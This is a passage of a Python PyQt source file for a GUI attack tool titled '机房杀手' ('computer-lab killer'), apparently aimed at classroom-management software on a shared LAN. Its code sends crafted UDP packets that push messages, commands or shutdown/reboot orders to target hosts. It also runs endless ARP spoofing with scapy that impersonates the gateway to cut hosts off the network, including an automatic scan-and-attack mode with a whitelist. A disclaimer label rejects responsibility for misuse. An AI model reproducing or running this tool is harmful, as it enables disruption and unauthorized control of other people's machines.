0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 184 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 185 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 186 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 187 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 188 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 189 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 190 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 191 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 192 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 193 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 194 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 195 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 196 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 197 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 198 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 199 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00] 200 | 201 | 202 | def format_b4_send(content): 203 | arr = [] 204 | for ch in content: 205 | tmp = ''.join(list(map(lambda x: hex(ord(x)), ch))) 206 | if int(tmp, 16) > 0xff: 207 | tmp = tmp[2:] 208 | high = int((tmp[0] + tmp[1]), 16) 209 | low = int((tmp[2] + tmp[3]), 16) 210 | arr.append(low) 211 | arr.append(high) 212 | else: 213 | high = 0 214 | low = int((tmp[2] + tmp[3]), 16) 215 | arr.append(low) 216 | arr.append(high) 217 | return arr 218 | 219 | 220 | def pkg_sendlist(arrs): 221 | index = 56 222 | result = header 223 | for elem in arrs: 224 | result[index] = elem 225 | index += 1 226 | return result 227 | 228 | 229 | def pkg2(arrs): 230 | index = 578 231 | result = header2 232 | for elem in arrs: 233 | result[index] = elem 234 | index += 1 235 | return result 236 | 237 | 238 | def send(send_list, ip, port): 239 | print(send_list) 240 | client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 241 | 242 | for times in range(1): 243 | for i in ip: 244 | print(i) 245 | for abc in send_list: 246 | payload = pack("%dB" % (len(abc)), *abc) 247 | client.sendto(payload, (ip, port)) 248 | client.sendto(payload, (ip, port)) 249 | client.sendto(payload, (ip, port)) 250 | client.close() 251 | 252 | 253 | class Ui_MainWindow(object): 254 | def setupUi(self, MainWindow): 255 | def stop2(): 256 | if QtCore.running2 == 1: 257 | QtCore.stop2 = 1 258 | 259 | def scanatt2(): 260 | Thread(target=scanatt, args=()).start() 261 | 262 | def scanatt(): 263 | if QtCore.running2 == 1: 264 | return 0 265 | twoth = False 266 | gateway = self.lineEdit6.text() 267 | thith = self.lineEdit_26.text() 268 | white = self.plainTextEdit6.toPlainText() 269 | if len(gateway) == 0 or len(thith) == 0: 270 | MessageBox(0, "输入框不能为空!", "提示", MB_ICONWARNING) 271 | return 0 272 | thith = thith.split("-") 273 | white = white.split("\n") 274 | if len(thith) == 1: 275 | try: 276 | oneth = int(thith[0]) 277 | except ValueError: 278 | MessageBox(0, "范围错误!", "提示", MB_ICONWARNING) 279 | return 0 280 | elif len(thith) == 2: 281 | try: 282 | oneth = int(thith[0]) 283 | twoth = int(thith[1]) 284 | except ValueError: 285 | MessageBox(0, "范围错误!", "提示", MB_ICONWARNING) 286 | return 0 287 | else: 288 | MessageBox(0, "范围错误!", "提示", MB_ICONWARNING) 289 | return 0 290 | ip_list = [] 291 | attlist = [] 292 | QtCore.running2 = 1 293 | try: 294 | self.pushButton6.setEnabled(False) 295 | self.pushButton6.setText("扫描中") 296 | gatewaysplit = gateway.split(".") 297 | frontin = gatewaysplit[0] + "." + gatewaysplit[1] + "." + gatewaysplit[2] 298 | if not twoth: 299 | for i in range(oneth + 1): 300 | if QtCore.stop2 == 1: 301 | QtCore.running2 = 0 302 | self.pushButton6.setText("扫描") 303 | self.pushButton6.setEnabled(True) 304 | QtCore.stop2 = 0 305 | return 0 306 | ip = frontin + str(i) 307 | arpPkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip, hwdst="ff:ff:ff:ff:ff:ff") 308 | res = srp1(arpPkt, timeout=1, verbose=False) 309 | if res: 310 | ip_list.append(res.psrc) 311 | same = 0 312 | for i in ip_list: 313 | for x in white: 314 | if i == x: 315 | same = 1 316 | if same == 0: 317 | attlist.append(i) 318 | else: 319 | same = 0 320 | else: 321 | for i in range(oneth, twoth + 1): 322 | if QtCore.stop2 == 1: 323 | QtCore.running2 = 0 324 | self.pushButton6.setText("攻击") 325 | self.pushButton6.setEnabled(True) 326 | QtCore.stop2 = 0 327 | return 0 328 | ip = frontin + "." + str(i) 329 | arpPkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip, hwdst="ff:ff:ff:ff:ff:ff") 330 | res = srp1(arpPkt, timeout=1, verbose=False) 331 | if res: 332 | ip_list.append(res.psrc) 333 | same = 0 334 | for i in ip_list: 335 | for x in white: 336 | if i == x: 337 | same = 1 338 | if same == 0: 339 | attlist.append(i) 340 | else: 341 | same = 0 342 | if len(attlist) == 0: 343 | MessageBox(0, "没有可以攻击的IP", "提示", MB_ICONWARNING) 344 | QtCore.running2 = 0 345 | self.pushButton6.setText("攻击") 346 | self.pushButton6.setEnabled(True) 347 | QtCore.stop2 = 0 348 | return 0 349 | self.pushButton6.setText("攻击中") 350 | while True: 351 | for i in attlist: 352 | if QtCore.stop2 == 1: 353 | QtCore.running2 = 0 354 | QtCore.stop2 = 0 355 | self.pushButton6.setText("攻击") 356 | self.pushButton6.setEnabled(True) 357 | return 0 358 | sendp(Ether(dst="ff:ff:ff:ff:ff:ff", src="2a:3a:02:03:4a:3a") / ARP(pdst=i, psrc=gateway)) 359 | 360 | except Exception as e: 361 | self.pushButton5.setEnabled(True) 362 | self.pushButton5.setText("攻击") 363 | QtCore.running = 0 364 | MessageBox(0, "出现未知错误:%s" % e, "提示", MB_ICONWARNING) 365 | 366 | def nmap(): 367 | Thread(target=nmap2, args=()).start() 368 | 369 | def nmap2(): 370 | twoth = False 371 | gateway = self.lineEdit5.text() 372 | thith = self.lineEdit_25.text() 373 | if len(gateway) == 0 or len(thith) == 0: 374 | MessageBox(0, "输入框不能为空!", "提示", MB_ICONWARNING) 375 | return 0 376 | thith = thith.split("-") 377 | if len(thith) == 1: 378 | try: 379 | oneth = int(thith[0]) 380 | except ValueError: 381 | MessageBox(0, "范围错误!", "提示", MB_ICONWARNING) 382 | return 0 383 | elif len(thith) == 2: 384 | try: 385 | oneth = int(thith[0]) 386 | twoth = int(thith[1]) 387 | except ValueError: 388 | MessageBox(0, "范围错误!", "提示", MB_ICONWARNING) 389 | return 0 390 | else: 391 | MessageBox(0, "范围错误!", "提示", MB_ICONWARNING) 392 | return 0 393 | ip_list = [] 394 | ipand = "" 395 | try: 396 | self.pushButton5.setEnabled(False) 397 | self.pushButton5.setText("扫描中") 398 | gatewaysplit = gateway.split(".") 399 | frontin = gatewaysplit[0] + "." + gatewaysplit[1] + "." + gatewaysplit[2] 400 | if not twoth: 401 | for i in range(oneth + 1): 402 | ip = frontin + str(i) 403 | arpPkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip, hwdst="ff:ff:ff:ff:ff:ff") 404 | res = srp1(arpPkt, timeout=1, verbose=False) 405 | if res: 406 | ip_list.append(res.psrc) 407 | for x in ip_list: 408 | ipand = ipand + "\n" + x 409 | MessageBox(0, "扫描结果:%s" % ipand, "提示", MB_ICONASTERISK) 410 | else: 411 | for i in range(oneth, twoth + 1): 412 | print(i) 413 | ip = frontin + "." + str(i) 414 | print(ip) 415 | arpPkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip, hwdst="ff:ff:ff:ff:ff:ff") 416 | res = srp1(arpPkt, timeout=1, verbose=False) 417 | print(res) 418 | if res: 419 | ip_list.append(res.psrc) 420 | for x in ip_list: 421 | ipand = ipand + "\n" + x 422 | print(ipand) 423 | MessageBox(0, "扫描结果:%s" % ipand, "提示", MB_ICONASTERISK) 424 | self.pushButton5.setText("扫描") 425 | self.pushButton5.setEnabled(True) 426 | except Exception as e: 427 | MessageBox(0, "出现未知错误:%s" % e, "提示", MB_ICONWARNING) 428 | return 0 429 | 430 | def stop(): 431 | if QtCore.running == 1: 432 | QtCore.stop = 1 433 | 434 | def arpcore(): 435 | Thread(target=arpcore2, args=()).start() 436 | 437 | def arpcore2(): 438 | ipget = self.plainTextEdit4.toPlainText().split("\n") 439 | gateway = self.lineEdit4.text() 440 | if len(ipget) == 0 or len(gateway) == 0: 441 | MessageBox(0, "输入框不能为空!", "提示", MB_ICONWARNING) 442 | return 0 443 | try: 444 | QtCore.running = 1 445 | self.pushButton4.setEnabled(False) 446 | self.pushButton4.setText("攻击中") 447 | while True: 448 | for i in ipget: 449 | if QtCore.stop == 1: 450 | QtCore.running = 0 451 | QtCore.stop = 0 452 | self.pushButton4.setEnabled(True) 453 | self.pushButton4.setText("开始") 454 | return 0 455 | sendp(Ether(dst="ff:ff:ff:ff:ff:ff", src="2a:3a:02:03:4a:3a") / ARP(pdst=i, psrc=gateway)) 456 | except Exception as e: 457 | self.pushButton4.setEnabled(True) 458 | self.pushButton4.setText("开始") 459 | QtCore.running = 0 460 | MessageBox(0, "出现未知错误:%s" % e, "提示", MB_ICONWARNING) 461 | return 0 462 | 463 | def stre(): 464 | ipget = self.lineEdit_22.text() 465 | portget = self.lineEdit_32.text() 466 | if len(ipget) == 0 or len(portget) == 0: 467 | MessageBox(0, "输入框不能为空!", "提示", MB_ICONWARNING) 468 | return 0 469 | try: 470 | portget = int(portget) 471 | except ValueError: 472 | MessageBox(0, "端口输入有误!", "提示", MB_ICONWARNING) 473 | return 0 474 | if not self.radioButton2.isChecked() and not self.radioButton_22.isChecked(): 475 | MessageBox(0, "请选择一个选项!", "提示", MB_ICONWARNING) 476 | return 0 477 | try: 478 | if self.radioButton2.isChecked(): 479 | list2 = [] 480 | list2.append(header3) 481 | send(list2, ipget, portget) 482 | else: 483 | list2 = [] 484 | list2.append(header4) 485 | send(list2, ipget, portget) 486 | MessageBox(0, "发送成功", "提示", MB_ICONASTERISK) 487 | except Exception as e: 488 | MessageBox(0, "出现未知错误:%s" % e, "提示", MB_ICONWARNING) 489 | return 0 490 | 491 | def sendcomm(): 492 | messget = self.lineEdit1.text() 493 | ipget = self.lineEdit_21.text() 494 | portget = self.lineEdit_31.text() 495 | if len(messget) == 0 or len(ipget) == 0 or len(portget) == 0: 496 | MessageBox(0, "输入框不能为空!", "提示", MB_ICONWARNING) 497 | return 0 498 | try: 499 | portget = int(portget) 500 | except ValueError: 501 | MessageBox(0, "端口输入有误!", "提示", MB_ICONWARNING) 502 | return 0 503 | try: 504 | fored = format_b4_send(messget) 505 | pkged = pkg2(fored) 506 | list2 = [] 507 | list2.append(pkged) 508 | send(send_list=list2, ip=ipget, port=portget) 509 | MessageBox(0, "发送成功", "提示", MB_ICONASTERISK) 510 | except Exception as e: 511 | MessageBox(0, "出现未知错误:%s" % e, "提示", MB_ICONWARNING) 512 | return 0 513 | 514 | def sendmess(): 515 | messget = self.lineEdit.text() 516 | ipget = self.lineEdit_2.text() 517 | portget = self.lineEdit_3.text() 518 | if len(messget) == 0 or len(ipget) == 0 or len(portget) == 0: 519 | MessageBox(0, "输入框不能为空!", "提示", MB_ICONWARNING) 520 | return 0 521 | try: 522 | portget = int(portget) 523 | except ValueError: 524 | MessageBox(0, "端口输入有误!", "提示", MB_ICONWARNING) 525 | return 0 526 | try: 527 | fored = format_b4_send(messget) 528 | pkged = pkg_sendlist(fored) 529 | list2 = [] 530 | list2.append(pkged) 531 | send(send_list=list2, ip=ipget, port=portget) 532 | MessageBox(0, "发送成功", "提示", MB_ICONASTERISK) 533 | except Exception as e: 534 | MessageBox(0, "出现未知错误:%s" % e, "提示", MB_ICONWARNING) 535 | return 0 536 | 537 | MainWindow.setObjectName("MainWindow") 538 | MainWindow.resize(413, 290) 539 | self.centralwidget = QtWidgets.QWidget(MainWindow) 540 | self.centralwidget.setObjectName("centralwidget") 541 | MainWindow.setCentralWidget(self.centralwidget) 542 | self.menubar = QtWidgets.QMenuBar(MainWindow) 543 | self.menubar.setGeometry(QtCore.QRect(0, 0, 413, 23)) 544 | self.menubar.setObjectName("menubar") 545 | MainWindow.setMenuBar(self.menubar) 546 | self.statusbar = QtWidgets.QStatusBar(MainWindow) 547 | self.statusbar.setObjectName("statusbar") 548 | MainWindow.setStatusBar(self.statusbar) 549 | self.tabwidget = QtWidgets.QTabWidget(MainWindow) 550 | self.tabwidget.setGeometry(QtCore.QRect(55, 0, 300, 200)) 551 | self.tab1 = QtWidgets.QWidget() 552 | self.tab1.resize(200, 300) 553 | self.tab2 = QtWidgets.QWidget() 554 | self.tab3 = QtWidgets.QWidget() 555 | self.tab4 = QtWidgets.QWidget() 556 | self.tab5 = QtWidgets.QWidget() 557 | self.tab6 = QtWidgets.QWidget() 558 | self.tabwidget.addTab(self.tab1, "发送信息") 559 | self.tabwidget.resize(300, 220) 560 | self.tabwidget.addTab(self.tab2, "发送命令") 561 | self.tabwidget.addTab(self.tab3, "关机/重启") 562 | self.tabwidget.addTab(self.tab4, "断网") 563 | self.tabwidget.addTab(self.tab5, "主机发现") 564 | self.tabwidget.addTab(self.tab6, "扫描+攻击") 565 | self.label = QtWidgets.QLabel(self.tab1) 566 | self.label.setGeometry(QtCore.QRect(20, 30, 71, 16)) 567 | self.label.setObjectName("label") 568 | self.label_2 = QtWidgets.QLabel(self.tab1) 569 | self.label_2.setGeometry(QtCore.QRect(20, 60, 54, 12)) 570 | self.label_2.setObjectName("label_2") 571 | self.label_3 = QtWidgets.QLabel(self.tab1) 572 | self.label_3.setGeometry(QtCore.QRect(20, 90, 54, 12)) 573 | self.label_3.setObjectName("label_3") 574 | self.pushButton = QtWidgets.QPushButton(self.tab1) 575 | self.pushButton.setGeometry(QtCore.QRect(100, 152, 75, 31)) 576 | self.pushButton.setObjectName("pushButton") 577 | self.pushButton.clicked.connect(sendmess) 578 | self.lineEdit = QtWidgets.QLineEdit(self.tab1) 579 | self.lineEdit.setGeometry(QtCore.QRect(90, 30, 113, 20)) 580 | self.lineEdit.setObjectName("lineEdit") 581 | self.lineEdit_2 = QtWidgets.QLineEdit(self.tab1) 582 | self.lineEdit_2.setGeometry(QtCore.QRect(90, 60, 113, 20)) 583 | self.lineEdit_2.setObjectName("lineEdit_2") 584 | self.lineEdit_3 = QtWidgets.QLineEdit(self.tab1) 585 | self.lineEdit_3.setGeometry(QtCore.QRect(90, 90, 113, 20)) 586 | self.lineEdit_3.setObjectName("lineEdit_3") 587 | 588 | self.label1 = QtWidgets.QLabel(self.tab2) 589 | self.label1.setGeometry(QtCore.QRect(20, 30, 71, 16)) 590 | self.label1.setObjectName("label") 591 | self.label_21 = QtWidgets.QLabel(self.tab2) 592 | self.label_21.setGeometry(QtCore.QRect(20, 60, 54, 12)) 593 | self.label_21.setObjectName("label_2") 594 | self.label_31 = QtWidgets.QLabel(self.tab2) 595 | self.label_31.setGeometry(QtCore.QRect(20, 90, 54, 12)) 596 | self.label_31.setObjectName("label_3") 597 | self.pushButton1 = QtWidgets.QPushButton(self.tab2) 598 | self.pushButton1.setGeometry(QtCore.QRect(100, 152, 75, 31)) 599 | self.pushButton1.setObjectName("pushButton") 600 | self.pushButton1.clicked.connect(sendcomm) 601 | self.lineEdit1 = QtWidgets.QLineEdit(self.tab2) 602 | self.lineEdit1.setGeometry(QtCore.QRect(90, 30, 113, 20)) 603 | self.lineEdit1.setObjectName("lineEdit") 604 | self.lineEdit_21 = QtWidgets.QLineEdit(self.tab2) 605 | self.lineEdit_21.setGeometry(QtCore.QRect(90, 60, 113, 20)) 606 | self.lineEdit_21.setObjectName("lineEdit_2") 607 | self.lineEdit_31 = QtWidgets.QLineEdit(self.tab2) 608 | self.lineEdit_31.setGeometry(QtCore.QRect(90, 90, 113, 20)) 609 | self.lineEdit_31.setObjectName("lineEdit_3") 610 | 611 | self.label_22 = QtWidgets.QLabel(self.tab3) 612 | self.label_22.setGeometry(QtCore.QRect(20, 30, 54, 12)) 613 | self.label_22.setObjectName("label_2") 614 | self.label_32 = QtWidgets.QLabel(self.tab3) 615 | self.label_32.setGeometry(QtCore.QRect(20, 70, 54, 12)) 616 | self.label_32.setObjectName("label_3") 617 | self.pushButton2 = QtWidgets.QPushButton(self.tab3) 618 | self.pushButton2.setGeometry(QtCore.QRect(90, 140, 75, 31)) 619 | self.pushButton2.setObjectName("pushButton") 620 | self.pushButton2.clicked.connect(stre) 621 | self.lineEdit_22 = QtWidgets.QLineEdit(self.tab3) 622 | self.lineEdit_22.setGeometry(QtCore.QRect(90, 30, 113, 20)) 623 | self.lineEdit_22.setObjectName("lineEdit_2") 624 | self.lineEdit_32 = QtWidgets.QLineEdit(self.tab3) 625 | self.lineEdit_32.setGeometry(QtCore.QRect(90, 70, 113, 20)) 626 | self.lineEdit_32.setObjectName("lineEdit_3") 627 | self.radioButton2 = QtWidgets.QRadioButton(self.tab3) 628 | self.radioButton2.setGeometry(QtCore.QRect(40, 100, 89, 16)) 629 | self.radioButton2.setObjectName("radioButton") 630 | self.radioButton_22 = QtWidgets.QRadioButton(self.tab3) 631 | self.radioButton_22.setGeometry(QtCore.QRect(40, 120, 89, 16)) 632 | self.radioButton_22.setObjectName("radioButton_2") 633 | 634 | self.label4 = QtWidgets.QLabel(self.tab4) 635 | self.label4.setGeometry(QtCore.QRect(20, 30, 54, 12)) 636 | self.label4.setObjectName("label") 637 | self.plainTextEdit4 = QtWidgets.QPlainTextEdit(self.tab4) 638 | self.plainTextEdit4.setGeometry(QtCore.QRect(50, 30, 161, 71)) 639 | self.plainTextEdit4.setObjectName("plainTextEdit") 640 | self.label_24 = QtWidgets.QLabel(self.tab4) 641 | self.label_24.setGeometry(QtCore.QRect(20, 120, 54, 12)) 642 | self.label_24.setObjectName("label_2") 643 | self.lineEdit4 = QtWidgets.QLineEdit(self.tab4) 644 | self.lineEdit4.setGeometry(QtCore.QRect(50, 120, 113, 20)) 645 | self.lineEdit4.setObjectName("lineEdit") 646 | self.pushButton4 = QtWidgets.QPushButton(self.tab4) 647 | self.pushButton4.setGeometry(QtCore.QRect(30, 162, 75, 31)) 648 | self.pushButton4.setObjectName("pushButton") 649 | self.pushButton4.clicked.connect(arpcore) 650 | self.pushButton_24 = QtWidgets.QPushButton(self.tab4) 651 | self.pushButton_24.setGeometry(QtCore.QRect(140, 162, 75, 31)) 652 | self.pushButton_24.setObjectName("pushButton_2") 653 | self.pushButton_24.clicked.connect(stop) 654 | 655 | self.label5 = QtWidgets.QLabel(self.tab5) 656 | self.label5.setGeometry(QtCore.QRect(40, 40, 41, 16)) 657 | self.label5.setObjectName("label") 658 | self.lineEdit5 = QtWidgets.QLineEdit(self.tab5) 659 | self.lineEdit5.setGeometry(QtCore.QRect(90, 40, 113, 20)) 660 | self.lineEdit5.setObjectName("lineEdit") 661 | self.label_25 = QtWidgets.QLabel(self.tab5) 662 | self.label_25.setGeometry(QtCore.QRect(40, 80, 54, 12)) 663 | self.label_25.setObjectName("label_2") 664 | self.lineEdit_25 = QtWidgets.QLineEdit(self.tab5) 665 | self.lineEdit_25.setGeometry(QtCore.QRect(90, 80, 113, 20)) 666 | self.lineEdit_25.setObjectName("lineEdit_2") 667 | self.pushButton5 = QtWidgets.QPushButton(self.tab5) 668 | self.pushButton5.setGeometry(QtCore.QRect(100, 150, 75, 31)) 669 | self.pushButton5.setObjectName("pushButton") 670 | self.pushButton5.clicked.connect(nmap) 671 | 672 | self.label6 = QtWidgets.QLabel(self.tab6) 673 | self.label6.setGeometry(QtCore.QRect(40, 20, 54, 12)) 674 | self.label6.setObjectName("label") 675 | self.label_26 = QtWidgets.QLabel(self.tab6) 676 | self.label_26.setGeometry(QtCore.QRect(40, 50, 41, 16)) 677 | self.label_26.setObjectName("label_2") 678 | self.lineEdit6 = QtWidgets.QLineEdit(self.tab6) 679 | self.lineEdit6.setGeometry(QtCore.QRect(90, 20, 113, 20)) 680 | self.lineEdit6.setObjectName("lineEdit") 681 | self.lineEdit_26 = QtWidgets.QLineEdit(self.tab6) 682 | self.lineEdit_26.setGeometry(QtCore.QRect(90, 50, 113, 20)) 683 | self.lineEdit_26.setObjectName("lineEdit_2") 684 | self.label_36 = QtWidgets.QLabel(self.tab6) 685 | self.label_36.setGeometry(QtCore.QRect(40, 80, 54, 12)) 686 | self.label_36.setObjectName("label_3") 687 | self.plainTextEdit6 = QtWidgets.QPlainTextEdit(self.tab6) 688 | self.plainTextEdit6.setGeometry(QtCore.QRect(90, 80, 104, 61)) 689 | self.plainTextEdit6.setObjectName("plainTextEdit") 690 | self.pushButton6 = QtWidgets.QPushButton(self.tab6) 691 | self.pushButton6.setGeometry(QtCore.QRect(60, 162, 75, 31)) 692 | self.pushButton6.setObjectName("pushButton") 693 | self.pushButton6.clicked.connect(scanatt2) 694 | self.pushButton7 = QtWidgets.QPushButton(self.tab6) 695 | self.pushButton7.setGeometry(QtCore.QRect(160, 162, 75, 31)) 696 | self.pushButton7.setObjectName("pushButton") 697 | self.pushButton7.clicked.connect(stop2) 698 | self.label8 = QtWidgets.QLabel(MainWindow) 699 | self.label8.setGeometry(QtCore.QRect(80, 240, 254, 12)) 700 | self.label8.setObjectName("label") 701 | 702 | self.retranslateUi(MainWindow) 703 | QtCore.QMetaObject.connectSlotsByName(MainWindow) 704 | 705 | def retranslateUi(self, MainWindow): 706 | _translate = QtCore.QCoreApplication.translate 707 | MainWindow.setWindowTitle(_translate("MainWindow", "机房杀手")) 708 | self.label.setText(_translate("Form", "发送的信息:")) 709 | self.label_2.setText(_translate("Form", "IP地址:")) 710 | self.label_3.setText(_translate("Form", "端口:")) 711 | self.pushButton.setText(_translate("Form", "发送")) 712 | self.label1.setText(_translate("Form", "发送的命令:")) 713 | self.label_21.setText(_translate("Form", "IP地址:")) 714 | self.label_31.setText(_translate("Form", "端口:")) 715 | self.pushButton1.setText(_translate("Form", "发送")) 716 | self.label_22.setText(_translate("Form", "IP地址:")) 717 | self.label_32.setText(_translate("Form", "端口:")) 718 | self.pushButton2.setText(_translate("Form", "发送")) 719 | self.radioButton2.setText(_translate("Form", "关机")) 720 | self.radioButton_22.setText(_translate("Form", "重启")) 721 | self.label4.setText(_translate("Form", "IP")) 722 | self.label_24.setText(_translate("Form", "网关")) 723 | self.pushButton4.setText(_translate("Form", "开始")) 724 | self.pushButton_24.setText(_translate("Form", "停止")) 725 | self.label5.setText(_translate("MainWindow", "网关")) 726 | self.label_25.setText(_translate("MainWindow", "范围")) 727 | self.pushButton5.setText(_translate("MainWindow", "扫描")) 728 | self.label6.setText(_translate("MainWindow", "网关")) 729 | self.label_26.setText(_translate("MainWindow", "范围")) 730 | self.label_36.setText(_translate("MainWindow", "白名单")) 731 | self.pushButton6.setText(_translate("MainWindow", "攻击")) 732 | self.pushButton7.setText(_translate("MainWindow", "停止")) 733 | self.label8.setText(_translate("MainWindow", "PS:所有因使用此工具造成的后果作者概不负责")) 734 | 735 | 736 | if __name__ == "__main__": 737 | app = QtWidgets.QApplication(sys.argv) 738 | form = QtWidgets.QMainWindow() 739 | ui = Ui_MainWindow() 740 | ui.setupUi(form) 741 | form.show() 742 | sys.exit(app.exec_()) 743 | --------------------------------------------------------------------------------